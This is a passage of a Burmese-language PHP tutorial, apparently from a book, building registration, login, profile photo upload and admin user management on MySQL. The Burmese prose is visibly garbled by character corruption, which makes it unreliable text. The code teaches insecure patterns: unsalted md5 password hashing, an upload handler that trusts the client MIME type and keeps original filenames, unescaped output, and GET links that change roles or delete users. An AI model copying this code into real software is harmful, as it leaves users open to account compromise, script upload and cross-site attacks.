စမ်းစရာနမူနာ Data ပေတွ ထည့်ကြကပါမယ်။ ဒီလိုထည့်K့ုိအတွက် Faker လ့ုိပေ]ါ်တဲ့ နမူနာ Data ပေပးနိုင်တဲ့
Package တစ်]ုကို အသံုးဖြပုလုိပါတယ်။ ဒါပေကြကာင့် အ]ုလုိ Install လုပ်လုိက်ပါ။

composer require fakerphp/faker

ဒီလို  Install  လုပ်လုိက်တယ်ဆိုရင်  Composer  က  vendor Kုိဒါတည်ပေဆာက်ပြပီး  Faker  ကို  ရယူ
ထည့်သွင်းပေပးသွားမှာ ဖြKစ်ပါတယ်။ ပြပီးတဲ့အ]ါ _actions/populate.php မှာ အ]ုလုိ ပေရးပေပးပါ။
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 PHP 

<?php

include("../vendor/autoload.php");

use Faker\Factory as Faker;

use Libs\Database\MySQL;
use Libs\Database\UsersTable;

$faker = Faker::create();
$table = new UsersTable(new MySQL());

if ($table) {
    echo "Database connection opened.\n";

    for ($i = 0; $i < 10; $i++) {
        $data = [
            'name' => $faker->name,
            'email' => $faker->email,
            'phone' => $faker->phoneNumber,
            'address' => $faker->address,
            'password' => md5('password'),
            'role_id' => $i < 5 ? rand(1, 3) : 1
        ];

        $table->insert($data);
    }

    echo "Done populating users table.\n";
}

vendor/autoload.php ကို  Include  လုပ်ထားပြပီးဖြKစ်လ့ုိ ပေနာက်ထပ်အသံုးဖြပု]ျင်တဲ့  Class  ပေတွကို
ထပ်ပြပီးပေတာ့  Import လုပ်စရာမလုိအပ်ပေတာ့ပါဘူး။ use နဲ့  Import လုပ်ပြပီး သံုးလုိ့ရသွားပါပြပီ။  Faker,
MySQL နဲ့  UsersTable တို့ကို  Import  လုပ်ထားပါတယ်။ Faker ကို  Import  လုပ်တဲ့အ]ါ သူပေရးပေပး
ထားတဲ့ Factory Class ကို Import လုပ်ပြပီး Faker လ့ုိပဲ Alias လုပ်ပေပးထားပါတယ်။

Faker::create() နဲ့  Faker Object  တစ်]တုည်ပေဆာက်ပြပီး  UsersTable Object  တစ်]ု
ဆက်လက်တည်ပေဆာက်ထားပါတယ်။  MySQL Object  ကို  Dependency  အပေနနဲ့  ထည့်ပေပးလုိက်ပါ
တယ်။ ပြပီးတဲ့အ]ါ Loop (၁၀) ]ါပါတ်ပြပီး  UsersTable ရဲ့  insert() အကူအညီနဲ့  User Data ပေတွ
တန်းစီထည့်သွင်းလုိက်တာပါ။  (၁၀)  ]ုမကလ့ုိ အ]ု  (၂၀)  အ]ု  (၅၀)  လုိ]ျင်ရင်လည်း  Loop  ကို  ပေဖြပာင်း
ပေပးလုိက်ယုံပါပဲ။
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name, email, phone, address တို့အတွက် Faker ကဖြပန်ပေပးတဲ့ Random တန်Kုိးပေတွကို သံုး
ထားပါတယ်။  Password  ပေတွသိမ်းတဲ့အ]ါမှာ  မူရင်း  Password  အတိုင်းမသိမ်းဘဲ  Hash  လုပ်ထားတဲ့
တန်Kုိးကို သိမ်းသင့်လ့ုိ md5() Standard Function ရဲ့အကူအညီနဲ့ password ဆိုတဲ့စာကို Hash လုပ်
ပေပးထားပါတယ်။ တစ်ကယ်ပေတာ့ md5() နဲ့တင် မလံုပေလာက်ပါဘူး။ ဒီအပေကြကာင်းကို ပေနာက်တစ်]န်းမှာ
ထပ်ရှင်းဖြပပါမယ်။  ပေလာပေလာဆယ်  User  အားလံုးရဲ့  Password  ဟာ  password ဖြKစ်တယ်လ့ုိသာ
မှတ်ထားပေပးပါ။

role_id အတွက် 1 နဲ့ 3 ကြကား Random ပေပး]ျင်တာပါ။ ဒါပေပမယ့် 1 ပေတွပုိများပေစလုိတဲ့အတွက် ပထမ
(၅)  ပေယာက်ပေလာက်ကိုပဲ  1  နဲ့  3  ကြကား  Random  ပေပးပြပီး  ကျန်  User  ပေတွကို  1  လ့ုိပဲပေပးK့ုိ  Ternary
Operator ကို အသံုးဖြပုပေရးသားထားပါတယ်။ ပေရးပြပီးပြပီဆိုရင် စမ်းလ့ုိရပါပြပီ။

localhost/project/_actions/populate.php

ပေရးထားတဲ့ကုဒ်မှာ အမှားမရှိဘူးဆိုရင် users Table မှာ Random Data နဲ့  Record (၁၀) ]ုဝင်ပေရာက်
သွားတာကို ပေတွ့ရမှာပဲ ဖြKစ်ပါတယ်။ ပေရး]ဲ့တဲ့ကုဒ်များတဲ့အတွက် စာလံုးပေပါင်းပေကြကာင့်ဖြKစ်ဖြKစ်၊  Operator
ပေတွကျန်လုိ့ပဲဖြKစ်ဖြKစ် အမှားပေတွပေတာ့ ဟိုနားဒီနား ရိှနိုင်ပါတယ်။ စိတရ်ှည်လက်ရှည် ဖြပန်တိုက် ပေဖြKရှင်းပါ။
တစ်ဆင့်အဆင့်ပေဖြပမှ  ပေနာက်တစ်ဆင့်ကို  ဆက်သွားသင့်ပါမယ်။  အဆင်မပေဖြပပေသးဘဲ  ပေနာက်တစ်ဆင့်ကို
ဆက်သွားရင် ပေနာက်ကျပေတာ့မှ အမှားရှာရ ပုိပြပီးပေတာ့ ]က်သွားပါလိမ့်မယ်။
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Helpers
ဆက်လက်ပြပီးပေတာ့  Auth  နဲ့  HTTP  တို့မှာ  ပေရးရမယ့်ကုဒ်ပေတွ  ဆကပ်ေရးကြကပါမယ်။
Helpers/HTTP.php မှာအ]ုလုိ ပေရးပေပးပါ။

 PHP 

<?php

namespace Helpers;

class HTTP
{
    static $base = "http://localhost/project";

    static function redirect($path, $query = "")
    {
        $url = static::$base . $path;
        if($query) $url .= "?$query";
        
        header("location: $url");
        exit();
    }
}

ပပေရာဂျက်ရဲ့  Base URL  သတ်မှတ်ပြပီး  redirect() Static Method  တစ်]ုပါဝင်ပါတယ်။ အကယ်၍
စာပေရးသူပေရးစမ်းပေနတဲ့  ပပေရာဂျက်  URL  ကနမူနာနဲ့မတူရင်  ဒီပေနရာမှာ  ပေဖြပာင်းပေပးK့ုိ  လုိပါလိမ့်မယ်။
redirect() Method  က  $path နဲ့  $query နှစ်]ုလက်]ံပါတယ်။  $query အတွက်  Default
Value ပေပးထားလ့ုိ မပါရင်လည်း ရပါတယ်။ ပြပီးတဲ့အ]ါ ပေပးလာတဲ့ $path နဲ့ $query ကို Base URL နဲ့
ပေပါင်းစပ်ပြပီး  header() Function  နဲ့  Redirect  လုပ်ပေပးလိုက်တာပါ။ ဒါပေကြကာင့် ပေနာက်ပုိင်း  Redirect
လုပ်]ျင်ရင် header() Function ကိုယ့်ဘာသာ ပေရးစရာမလုိပေတာ့ပါဘူး။ ဒီလုိပေရးလုိက်ရင် ရသွားပါပြပီ။

HTTP::redirect('/url', 'query=value');
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ဆက်လက်ပြပီးပေတာ့ Helpers/Auth.php မှာ အ]ုလုိပေရးပေပးပါ။

 PHP 

<?php

namespace Helpers;

class Auth
{
    static $loginUrl = '/index.php';

    static function check()
    {
        session_start();
        if(isset($_SESSION['user'])) {
            return $_SESSION['user'];
        } else {
            HTTP::redirect(static::$loginUrl);
        }
    }
}

ဒါလည်း သိပ်ရှုပ်ပေထွးတဲ့လုပ်ပေဆာင်]ျက် မဟုတ်ပါဘူး။ ]ါတိုင်း ကိုယ့်ဘာသာ $_SESSION ထဲမှာ ရိှမရှိ
စစ်ပေနကြကကုဒ်ကို  စစ်ပေပးတဲ့  check() Method  ပါသွားတာပါ။ ဒါပေကြကာင့် ပေနာက်ပုိင်း  Login  ဝင်ထားမ
ထား  စစ်]ျင်ရင်  Auth::check() ဆိုရင်  ရသွားပါပြပီ။  Login  ဝင်မထားရင်  သ့ူဘာသာ  Login  URL
အဖြKစ် သတ်မှတ်ထားတဲ့ index.php ကို ပေရာက်သွားပါလိမ့်မယ်။

Register
ပေနာက်တစ်ဆင့် ဆက်လုပ်မှာကပေတာ့  User Account  ပေဆာက်လ့ုိရတဲ့  Register  လုပ်ပေဆာင်]ျက်ဖြKစ်ပါ
တယ်။ register.php ထဲမှာ ဒီ HTML Template ကို ပေရးသားပေပးပါ။

 PHP 

<!DOCTYPE html>
<html>
<head>
    <title>Register</title>
    <meta name="viewport" 

content="width=device-width, initial-scale=1.0">

    <link rel="stylesheet" href="css/bootstrap.min.css">
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    <style>
        .wrap {
            width: 100%;
            max-width: 400px;
            margin: 40px auto;
        }
    </style>
</head>
<body class="text-center">
    <div class="wrap">
        <h1 class="h3 mb-3">Register</h1>

        <?php if (isset($_GET['error'])): ?>
            <div class="alert alert-warning">
                Cannot create account. Please try again.
            </div>
        <?php endif ?>

        <form action="_actions/create.php" method="post">
            <input type="text" name="name" class="form-control mb-2" 

placeholder="Name" required>

            <input type="email" name="email" class="form-control mb-2"
placeholder="Email" required>

            <input type="text" name="phone" class="form-control mb-2" 
placeholder="Phone" required>

            <textarea name="address" class="form-control mb-2" 
placeholder="Address" required></textarea>

            <input type="password" name="password" 
class="form-control mb-2" 
placeholder="Password" required>

            <button type="submit" 
class="w-100 btn btn-lg btn-primary">

                Register
            </button>
        </form>
        <br>

        <a href="index.php">Login</a>
    </div>
</body>
</html>

ရိုးရိုး  HTML  Form  တစ်]ုဖြKစ်ပြပီး  name, email, phone, address နဲ့  password တို့ကို
ပေတာင်းထားပါတယ်။ တစ်ကယ်ပေတာ့ Password ပေတာင်းတဲ့အ]ါ မှားမှာ စိုးလ့ုိ နှစ်]ါပေတာင်းပြပီး Confirm
Password  လုပ်ပေဆာင်]ျက် ထည့်ပေပးK့ုိ လုိအပ်နိုင်ပါတယ်။ ဒါပေပမယ့် ဒီလုပ်ပေဆာင်]ျက်အတွက် လုိအပ်
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တဲ့ JavaScript ကုဒ်ပေတွ ထည့်မပေရးနိုင်တဲ့အတွက် ထည့်မထားပါဘူး။ ပေKာင်ကိုဖြKည့်ပြပီး Register Button
ကိုနှိပ်လုိက်ရင်  _actions/create.php ကိပုေရာက်သွားမှာဖြKစ်လ့ုိ  create.php မှာ  အ]ုလုိ
ဆက်လက်ပေရးသားပေပးပါ။

 PHP 

<?php

include("../vendor/autoload.php");

use Libs\Database\MySQL;
use Libs\Database\UsersTable;
use Helpers\HTTP;

$data = [
    "name" => $_POST['name'] ?? 'Unknown',
    "email" => $_POST['email'] ?? 'Unknown',
    "phone" => $_POST['phone'] ?? 'Unknown',
    "address" => $_POST['address'] ?? 'Unknown',
    "password" => md5( $_POST['password'] ),
    "role_id" => 1,
];

$table = new UsersTable(new MySQL());

if( $table ) {
    $table->insert($data);
    HTTP::redirect("/index.php", "registered=true");
} else {
    HTTP::redirect("/register.php", "error=true");
}

ပေစာပေစာက  populate.php မှာလိုပဲ  users Table  ထဲကို  Record  တစ်]ုထည့်ပေပးလုိက်တာပါ။  ဒီ
တစ်]ါပေတာ့  Form  ကပေနပ့ုိလုိက်တဲ့  Data  ပေတွကို  ထည့်သိမ်းလုိက်တာ  ဖြKစ်သွားပါပြပီ။  သိမ်းပြပီးတဲ့အ]ါ
index.php ကို Redirect လုပ်]ိုင်းထားပါတယ်။ registered=true ဆိုတဲ့ Query ထည့်ပေပးလုိက်
လ့ုိ index.php မှာလည်း ဒါပေလးဖြKည့်ပေရးပေပးပါ။
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…

<h1 class="h3 mb-3">Login</h1>

<?php if (isset($_GET['registered'])): ?>
    <div class="alert alert-success">
        Account created. Please login.
    </div>
<?php endif ?>

<?php if (isset($_GET['suspended'])): ?>
    <div class="alert alert-danger">
        Your account is suspended.
    </div>
<?php endif ?>

… 

ပေ]ါင်းစဉ်ဖြKစ်တဲ့  <h1> ပေအာက်နားမှာ  registered URL Query  ရှရိင်  Success Alert  ပေလးတစ်]ုကို
ဖြပ]ိုင်းလိုက်တာပါ။ လက်စနဲ့ ပေနာင်လုိအပ်မှာမ့ုိလ့ုိ  suspended URL Query ရှရိင်  Danger Alert  ပေလး
တစ်]ုဖြပပေပးတဲ့ ကုဒ်ကိုပါ တစ်]ါထဲ ထည့်ပေရးထားပါတယ်။ ကျန်ကုဒ်ပေတွက အပေဖြပာင်းအလဲ မရှိပါဘူး။

Register လုပ်ပြပီး စမ်းကြကည့်လို့ရပါပြပီ။  Register  လုပ်လ့ုိပေအာင်ဖြမင်ရင်  Login ကိုအလိုအပေလ�ာက် ပေရာက်
သွားမှာပါ။ တစ်ဆင့်]ျင်း သွားသင့်လို့ ဒီအဆင့်ထိ မှန်မမှန်အရင်စမ်းပြပီးမှ ပေရှ့ ဆက်သွားသင့်ပါတယ်။

Login
Login ဝင်Kုိ့အတွက် ကိုယ် Register လုပ်စဉ်မှာ ပေပး]ဲ့တဲ့ email နဲ့ password ကို အသံုးဖြပုရမှာပါ။ ဒါ
ပေပမယ့်  Login  အတွက်  လကရ်ှိပေရးထားတဲ့ကုဒ်က  အပေသစစ်ထားတဲ့ကုဒ်  ဖြKစ်ပေနပါတယ်။  ပေပးလာတဲ့
email နဲ့  password မှန်မမှန်  users Table ထဲမှာသွားကြကည်ပြပီး အလုပ်လုပ်တာ မဟုတ်ပေသးပါဘူး။
ဒါပေကြကာင့် UsersTable.php မှာ ဒီ Method ကိုဖြKည့်ပေရးပေပးပါ။
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…

public function findByEmailAndPasword($email, $password)
{
    $statement = $this->db->prepare("
        SELECT users.*, roles.name AS role, roles.value
        FROM users LEFT JOIN roles
        ON users.role_id = roles.id
        WHERE users.email = :email 
        AND users.password = :password
    ");

    $statement->execute([
        ':email' => $email,
        ':password' => $password 
    ]);

    $row = $statement->fetch();

    return $row ?? false;
}

…

email နဲ့  password ပေပးလာ]ဲ့ရင်  အ့ဲဒီ  email,  password တန်Kုိးပေတွနဲ့  ကိုက်ညီတဲ့  Record  ရိှမရှိ
ထုတ်ယူပြပီး ဖြပန်ပေပးတဲ့ ကုဒ်ဖြKစ်ပါတယ်။ JOIN Statement ကို အသံုးဖြပုပြပီး roles Table ထဲက လုိအပ်
မယ့် အ]ျက်အလက်ပေတွကိုပါ တစ်]ါထဲ တွဲထုတ်ယူပေပးမှာပါ။ ပြပီးတဲ့အ]ါ _actions/login.php က
ကုဒ်ကို အ]ုလုိ ဖြပင်ပေပးရပါမယ်။

 PHP 

<?php

session_start();

include("../vendor/autoload.php");

use Libs\Database\MySQL;
use Libs\Database\UsersTable;
use Helpers\HTTP;

$email = $_POST['email'];
$password = md5( $_POST['password'] );

$table = new UsersTable(new MySQL());

$user = $table->findByEmailAndPasword($email, $password);
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if ($user) {

    if($table->suspended($user->id)) {
        HTTP::redirect("/index.php", "suspended=1");
    }

    $_SESSION['user'] = $user;
    HTTP::redirect("/profile.php");

} else {
    HTTP::redirect("/index.php", "incorrect=1");
}

အရင်လုိ  email နဲ့  password ကို  တန်Kုိးအပေသပေပးပြပီး စစ်တာမဟုတ်ပေတာ့ပါဘူး။ ပေစာပေစာက ပေရး
လုိက်တဲ့  findByEmailAndPassword() Method  ကိုသုံးပြပီး  users Table  ထဲမှာ ရှိမရှိစစ်လုိက်
တာပါ။ Password ကို သိမ်းတုံးက md5() နဲ့ Hash လုပ်ပြပီးသိမ်းထားတဲ့အတွက် ဖြပန်စစ်တဲ့အ]ါမှာလည်း
md5() နဲ့ပဲ Hash လုပ်ပြပီးစစ်ထားတာကို သတိဖြပုပါ။ User ရိှရင် ဖြပန်ရလာတဲ့ User Object ကို Session
ထဲမှာသိမ်းပြပီး မရှိရင် Login ဖြKစ်တဲ့ index.php ကို ဖြပန်သွား]ိုင်းလုိက်တာပါ။

ရပါပြပီ။ အပေကာင့်ပေတွ Register လုပ်ပြပီး၊ Register လုပ်ထားတဲ့ အပေကာင့်နဲ့ Login ဝင်စမ်းကြကည့်လုိက်ပါ။

Profile
Login ဝင်လုိက်ရင် profile.php ကိပုေရာက်သွားမှာပါ။ လက်ရှိပေရးထားတဲ့ကုဒ်အရ profile.php
မှာ  ဖြပပေနတဲ့  ရလဒ်က  အပေသပေပးထားတဲ့  နမူနာအ]ျက်အလက်ပေတွပါ။  Login  ဝင်ထားတဲ့  User  ရဲ့
အ]ျက်အလက်အမှန် မဟုတ်ပါဘူး။ ဒါပေကြကာင့် အ]ျက်အလက်အမှန်ဖြပပေအာင်  profile.php ကို အ]ု
လုိဖြပင်ပေရးပေပးရပါမယ်။

 PHP 

<?php

include("vendor/autoload.php");

use Helpers\Auth;

$auth = Auth::check();

?>
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<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" 

content="width=device-width, initial-scale=1.0">
    <title>Profile</title>

    <link rel="stylesheet" href="css/bootstrap.min.css">
</head>
<body>
    <div class="container">
        <h1 class="mt-5 mb-5">
            <?= $auth->name ?>
            <span class="fw-normal text-muted">
                (<?= $auth->role ?>)
            </span>
        </h1>

        <?php if(isset($_GET['error'])): ?>
            <div class="alert alert-warning">
                Cannot upload file
            </div>
        <?php endif ?>

        <?php if($auth->photo): ?>
            <img 
                class="img-thumbnail mb-3" 
                src="_actions/photos/<?= $auth->photo ?>"
                alt="Profile Photo" width="200">
        <?php endif ?>

        <form action="_actions/upload.php" method="post" 
enctype="multipart/form-data">

            <div class="input-group mb-3">
                <input type="file" name="photo" class="form-control">
                <button class="btn btn-secondary">Upload</button>
            </div>
        </form>

        <ul class="list-group">
            <li class="list-group-item">
                <b>Email:</b> <?= $auth->email ?>
            </li>
            <li class="list-group-item">
                <b>Phone:</b> <?= $auth->phone ?>
            </li>
            <li class="list-group-item">
                <b>Address:</b> <?= $auth->address ?>
            </li>
        </ul>
        <br>
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        <a href="admin.php">Manage Users</a> |
        <a href="_actions/logout.php" class="text-danger">Logout</a>
    </div>
</body>
</html>

ဟိုးထိပ်ဆုံးမှာ  Auth::check() နဲ့စစ်ပြပီး  Login User  ရဲ့အ]ျက်အလက်ပေတွ ယူထားပါတယ်။ ပြပီးတဲ့
အ]ါ ပေအာက်ဘက်က Template ထဲမှာ အ့ဲဒီ တန်Kုိးပေတွကို သ့ူပေနရာနဲ့သူ အစားထုိးပြပီး ဖြပလိုက်တာပါ။ ဒါ
ပေကြကာင့် ပေKာ်ဖြပတဲ့အ]ျက်အလက်က အမှန်ဖြKစ်သွားပါပြပီ။ ရလဒ်ပေတွ ရိုက်ထုတ်ရတာ တိုသွားပေအာင်  PHP
ရဲ့  Output Tag  <?= ကိုသုံးထားပါတယ်။  ပေအာက်နားပေလးမှာ  admin.php ကို သွားလ့ုိရတဲ့  Manage
Users ဆိုတဲ့ Link တစ်]ုပါသွားတာကိုလည်း သတိဖြပုပါ။

Profile Photo
ကျန်ပေနတာတစ်]ုက Profile Photo ကိစ္စပါ။ နဂို ပေရးထားတာက Profile Photo ကို တစ်ပံုထဲ အပေသပေပး
ပြပီး ပေရးထားတာပါ။ အ]ုသက်ဆိုင်ရာ  User  တစ်ဦး]ျင်းစီက ကိုယ့်  Profile Photo ကိုယ့်ဘာသာ တင်လို့
ရပေအာင် လုပ်ပေပး]ျင်ပါတယ်။ ဒါပေကြကာင့် UsersTable.php မှာ ဒီ Method တစ်]ုကို ဖြKည့်ပေပးပါ။

… 

public function updatePhoto($id, $name)
{
    $statement = $this->db->prepare("
        UPDATE users SET photo=:name WHERE id = :id"
    );
    $statement->execute([ ':name' => $name, ':id' => $id ]);

    return $statement->rowCount();
}

… 

UPDATE SQL Statement နဲ့ ပေပးလာတဲ့ ပံုအမည်ကို users Tables ထဲမှာ သိမ်းပေပးလုိက်တာပါ။ ဒီကုဒ်
ပေရးပြပီးပြပီဆိုရင် _actions/upload.php ကို အ]ုလုိဖြပင်ပေပးပါ။
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 PHP 

<?php

include("../vendor/autoload.php");

use Libs\Database\MySQL;
use Libs\Database\UsersTable;
use Helpers\HTTP;
use Helpers\Auth;

$auth = Auth::check();

$table = new UsersTable(new MySQL());

$name = $_FILES['photo']['name'];
$error = $_FILES['photo']['error'];
$tmp = $_FILES['photo']['tmp_name'];
$type = $_FILES['photo']['type'];

if($error) {
    HTTP::redirect("/profile.php", "error=file");
}

if($type === "image/jpeg" or $type === "image/png") {

    $table->updatePhoto($auth->id, $name);

    move_uploaded_file($tmp, "photos/$name");

    $auth->photo = $name;

    HTTP::redirect("/profile.php");
} else {
    HTTP::redirect("/profile.php", "error=type");
}

ဒီတစ်]ါ Kုိင်  Upload  လုပ်တဲ့အ]ါ အမည်ကိုအပေသ မပေပးပေတာ့ဘဲ မူလအမည်အတိုင်း သိမ်းလုိက်တာပါ။
ပြပီးတဲ့အ]ါ ပေစာပေစာကပေရးလုိက်တဲ့  updatePhoto() Method နဲ့ users Table ထဲမှာ တွဲသိမ်းလုိက်
လ့ုိ အဆင်ပေဖြပသွားပါပြပီ။ အ]ုဖြပင်လုိက်တဲ့အ]ျက်အလက်အတိုင်း  User Account  ကို  Update  ဖြKစ်ပေစ]ျင်
ရင် Login ပေနာက်တစ်]ါ ဖြပန်ဝင်ရမှာပါ။ အ]ျက်အလက်ပေဖြပာင်းသွားပြပီမ့ုိလ့ုိပါ။ အ့ဲဒီလုိ ဝင်စရာမလိုပေအာင်
$auth->photo ထဲမှာ ပံုအမည်  $name ကို တိုက်ရိုက်ထည့်ပေပးလုိက်တာ သတိဖြပုပါ။ ဒီကုဒ်က ဘာ
အတွက်လဲ  ပေ]ါင်းစားပေနမှာ  စိုးလ့ုိပါ။  Login  ပေနာက်တစ်ကြကိမ်ဖြပန်မဝင်ရပေအာင်  ပေဖြပာင်းသွားတဲ့
အ]ျက်အလက်ကို ထည့်ပေပးလုိက်တာပါ။
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စမ်းကြကည့်လ့ုိရပါတယ်။ Profile ပံုတင်လုိက်တဲ့အ]ါ ကိုယ့်ပံုနဲ့ကိုယ် သီးသန့်ဖြKစ်သွားပါပြပီ။ အရင်လုိ တစ်ပံု
ထဲ အပေသမဟုတ်ပေတာ့ပါဘူး။

User Management
ပေနာက်ဆုံးကျန်ပေနတဲ့ လုပ်ပေဆာင်]ျက်ကပေတာ့ User Management ဖြKစ်ပါတယ်။ ရိှသမ� User အားလံုးကို
ဖြပပေပးတဲ့ ကုဒ်ကို  admin.php မှာ ပေရးပါမယ်။ ကုဒ်ပေတွများပါလိမ့်မယ်။ HTML ပေတွများလ့ုိသာ များပေန
တာပါ။ ဒီပေလာက်ကြကီးရှုပ်ပေထွးတဲ့ကုဒ်ပေတာ့ မဟုတ်ပါဘူး။ ဒီလုိပေရးရမှာပါ –

 PHP 

<?php

include("vendor/autoload.php");

use Libs\Database\MySQL;
use Libs\Database\UsersTable;
use Helpers\Auth;

$table = new UsersTable(new MySQL());
$all = $table->getAll();

$auth = Auth::check();

?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" 

content="width=device-width, initial-scale=1.0">
    <title>Manage Users</title>

    <link rel="stylesheet" href="css/bootstrap.min.css">
</head>
<body>
    <div class="container">
        <div style="float: right">
            <a href="profile.php">Profile</a> |
            <a href="_actions/logout.php" 

class="text-danger">Logout</a>
        </div>

        <h1 class="mt-5 mb-5">
            Manage Users
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            <span class="badge bg-danger text-white">
                <?= count($all) ?>
            </span>
        </h1>

        <table class="table table-striped table-bordered">
            <tr>
                <th>ID</th>
                <th>Name</th>
                <th>Email</th>
                <th>Phone</th>
                <th>Role</th>
                <th>Actions</th>
            </tr>
            <?php foreach ($all as $user): ?>
                <tr>
                    <td><?= $user->id ?></td>
                    <td><?= $user->name ?></td>
                    <td><?= $user->email ?></td>
                    <td><?= $user->phone ?></td>
                    <td>
                        <?php if($user->value === '1'): ?>
                            <span class="badge bg-secondary">
                                <?= $user->role ?>
                            </span>
                        <?php elseif($user->value === '2'): ?>
                            <span class="badge bg-primary">
                                <?= $user->role ?>
                            </span>
                        <?php else: ?>
                            <span class="badge bg-success">
                                <?= $user->role ?>
                            </span>
                        <?php endif ?>
                    </td>
                    <td>
                        <?php if($auth->value > 1): ?>
                            <div class="btn-group dropdown">
                                <a href="#" class="btn btn-sm 

btn-outline-primary 
dropdown-toggle" 
data-bs-toggle="dropdown">

                                    Change Role
                                </a>

    <div class="dropdown-menu dropdown-menu-dark">
        <a href="_actions/role.php?id=<?= $user->id ?>&role=1" 
            class="dropdown-item">User</a>
        <a href="_actions/role.php?id=<?= $user->id ?>&role=2" 
            class="dropdown-item">Manager</a>
        <a href="_actions/role.php?id=<?= $user->id ?>&role=3" 
            class="dropdown-item">Admin</a>
    </div>
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    <?php if($user->suspended): ?>
        <a href="_actions/unsuspend.php?id=<?= $user->id ?>" 
            class="btn btn-sm btn-danger">Suspended</a>
    <?php else: ?>
        <a href="_actions/suspend.php?id=<?= $user->id ?>"
            class="btn btn-sm btn-outline-success">Active</a>
    <?php endif ?>

    <?php if($user->id !== $auth->id): ?>
        <a href="_actions/delete.php?id=<?= $user->id ?>" 
            class="btn btn-sm btn-outline-danger"
            onClick="return confirm('Are you sure?')">Delete</a>
    <?php endif ?>

</div>

<?php else: ?>
    ###
<?php endif ?>

                    </td>
                </tr>
            <?php endforeach ?>
        </table>
    </div>

    <script src="js/bootstrap.bundle.min.js"></script>
</body>
</html>

ဟိုးထိပ်ဆုံးမှာ getAll() Method နဲ့ ရိှသမ� User အားလံုးကို ရယူထားပါတယ်။ Auth::check()
နဲ့လည်း Login စစ်ထားပါတယ်။ ပြပီးတဲ့အ]ါ ရထားတဲ့ User အားလံုးကို Loop လုပ်ပြပီး HTML Table တစ်
]ုနဲ့ တန်းစီပြပီးဖြပလုိက်တာပါပဲ။ လုိရင်းအဓိက လုပ်ပေဆာင်]ျက်က ဒါပါပဲ။ Kွင့်ကြကည့်လုိက်ရင် ရလဒ်က ဒီလုိ
ဖြKစ်ရမှာပါ။
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ထူးဖြ]ား]ျက်အပေနနဲ့ သက်ဆိုင်ရာ User Record နဲ့အတူ Change Role, Active နဲ့ Delete ဆိုတဲ့ ]လုပ်သံုး
]ုကို  တွဲပြပီးပေတာ့  ဖြပထားပါတယ်။  အ့ဲဒီလုိဖြပတဲ့အ]ါ  Role  Value  က  1  ထက်ကြကီးမှသာ  ဖြပK့ုိ  စစ်ထားပါ
တယ်။ ဆိုလုိတာက ရိုးရိုး User ဆိုရင် အ့ဲဒီအလုပ်ပေတွကို လုပ်]ွင့်မပေပးလုိဘဲ Manager တို့  Admin တို့လုိ
Role ပေတွရှတိဲ့ User ပေတွကိုသာ လုပ်]ွင့်ပေပး]ျင်တာပါ။ အ]ုနမူနာပံုမှာ ဒီ]လုပ်ပေတွ ပေတွ့ဖြမင်ပေနရာတာက
Admin User အပေနနဲ့ Login ဝင်ထားလုိ့ဖြKစ်ပါတယ်။

Change Role ]လုပ်မှာ Bootstrap ရဲ့ Dropdown နဲ့တွဲပြပီး User, Manager, Admin သံုး]ုထဲက ပေဖြပာင်း
လုိတဲ့တစ်]ုကို ပေရွးပေဖြပာင်းလ့ုိရတဲ့ Menu တစ်]ုပေပးထားပါတယ်။ နှိပ်လုိက်ရင် _actions/role.php
ကို ပေရာက်သွားမှာပါ။ အ့ဲဒီလိုသွားတဲ့အ]ါ User ရဲ့ id နဲ့ ပေဖြပာင်းလုိတဲ့ Role ရဲ့ id ကို URL Query အပေန
နဲ့ တွဲထည့်ပေပးထားပါတယ်။

Active ]လုပ်က လက်ရှိ Active ဖြKစ်ပေနပေကြကာင်း ဖြပ]ျင်လ့ုိထည့်ထားတာပါ။ သူကိုနှိပ်လုိက်ရင် Suspended
ဖြKစ်သွားရမှာပါ။  ]လုပ်နှစ်]ုထဲက  အပေဖြ]အပေနပေပါ်မူတည်ပြပီး  တစ်]ုကိုဖြပ]ိုင်းထားပါတယ်။  နှိပ်လုိက်ရင်
အပေဖြ]အပေနပေပါ် မူတညပြပီး _actions/suspend.php သ့ုိမဟုတ် _actions/unsuspend.php
ကို ပေရာက်သွားမှာပါ။ 
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ပေနာက်ဆုံးက  Delete  ]လုပ်ကို  နှိပ်လုိက်ရင်ပေတာ့  _actions/delete.php ကို  ပေရာက်သွားမှာပါ။
လက်ရှိ  Login  ဝင်ထားတဲ့  User  က ကိုယ့်ကိုယ်ကိုယ် Kျက်လ့ုိမရပေအာင် စစ်ပြပီးပေတာ့  Login  ဝင်ထားတဲ့
User  ရဲ့  Delete  ]လုပ်ကို  ပေKျာက်ထားပါတယ်။  ဒါပေကြကာင့်  အပေပါ်က  နမူနာပံုမှာ  User  တစ်ပေယာက်
အတွက် Delete ]လုပ် မပါတာပါ။

ဒီလုပ်ပေဆာင်]ျက်ပေတွ  အမှန်တစ်ကယ် အလုပ်လုပ်K့ုိအတွက်  UsersTable.php မှာ  အ]ုလုိ  ထပ်မံ
ဖြKည့်စွက်ပေပးရမှာ ဖြKစ်ပါတယ်။

… 

public function suspend($id)
{
    $statement = $this->db->prepare("
        UPDATE users SET suspended=1 WHERE id = :id
    ");

    $statement->execute([ ':id' => $id ]);

    return $statement->rowCount();
}

public function unsuspend($id)
{
    $statement = $this->db->prepare("
        UPDATE users SET suspended=0 WHERE id = :id
    ");

    $statement->execute([ ':id' => $id ]);

    return $statement->rowCount();
}

public function changeRole($id, $role)
{
    $statement = $this->db->prepare("
        UPDATE users SET role_id = :role WHERE id = :id
    ");

    $statement->execute([ ':id' => $id, ':role' => $role ]);

    return $statement->rowCount();
}
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public function delete($id)
{
    $statement = $this->db->prepare("
        DELETE FROM users WHERE id = :id
    ");

    $statement->execute([ ':id' => $id ]);

    return $statement->rowCount();
}

… 

အားလံုးက တစ်]ုနဲ့တစ်]ု  ]ပ်ဆင်ဆင်ပေလးပေတွပါ။  suspend() နဲ့  unsuspend() တို့က  users
Table  ထဲက  suspended  တန်Kုိးကို  0  သ့ုိမဟုတ်  1  ပေဖြပာင်းပေပးပါတယ်။  changeRole() က
role_id ကို  ပေဖြပာင်းပေပးပါတယ်။  delete() ပေတာ့  DELETE  FROM Statement  နဲ့  Record  ကို
ပယ်Kျက်လုိက်ပါတယ်။

ပြပီးတဲ့အ]ါ _actions/role.php မှာ အ]ုလုိ ပေရးပေပးရပါမယ်။

 PHP 

<?php

include("../vendor/autoload.php");

use Libs\Database\MySQL;
use Libs\Database\UsersTable;
